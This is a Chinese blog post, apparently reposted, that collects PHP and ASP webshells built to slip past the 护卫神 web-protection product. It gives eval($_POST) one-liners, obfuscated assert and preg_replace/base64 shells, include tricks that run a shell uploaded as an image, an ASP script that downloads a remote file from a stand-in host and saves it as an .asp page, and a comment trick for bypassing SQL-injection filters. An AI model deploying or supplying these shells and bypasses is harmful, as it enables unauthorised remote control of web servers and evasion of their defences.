标签：log xmlhttp 连接字符串 xxxxxx -- txt rom sel xxx
一、马儿篇，都是以前可以过护卫神的马
二、注入篇，可以绕过注入的方法
三、规则篇，根据护卫神的过滤规则大家可以自己设计马儿
一、马儿篇
----------------1号--------------------------
<?php
@eval
($_POST[‘1‘]);?>
----------------2号--------------------------
<title>login</title>nono<?php
eval
($_POST
[1])
?>
--------------------3号---------------------------------------------
<?php $a = str_replace(x,"","axsxxsxexrxxt");
$a($_POST["c"]); ?>
菜刀直接连，不需要构造连接字符串，密码 c
--------------------类似于过安全狗的包含方法-------------------------------------------
A.asp版本：
将一句话保存为 XX.jpg 上传后
地址为 .../xxxxxx.jpg
在上传一个 x.asp 内容为
<!–#include file="../xxxxxx.jpg"-->
B.php版本
如果是php的话：
<?php
include "1.htm";
?>
------------------实在不行，还可以下载---------------------------------------------
远程下载马
<%
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xxx.com/123/1.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("ls.asp"),2
set sGet = nothing
set sPOST = nothing
%>
---------------------------------------------------------------
---------------------------------------------------------------
二、注入篇
/*%00*/截断符
select/*%00*/* from admin;
---------------------------------------------------------------
---------------------------------------------------------------
三、规则篇
可以利用类似：
<?php
$code=‘一串base64‘; //base64编码
$x=str_replace(‘f‘,"","bfafsfef6f4f_ffdffeffcffoffdffef");
//字符串替换
$a = ‘/a/‘;//正则规则
preg_replace($a,‘e‘.‘v‘.‘a‘.‘l‘.‘(‘.$x.‘(‘.$code.‘))‘,‘a‘); //正则替换
?>
方法绕过关键词过滤
标签：log xmlhttp 连接字符串 xxxxxx -- txt rom sel xxx
原文地址：http://www.cnblogs.com/laofanshu/p/6937373.html
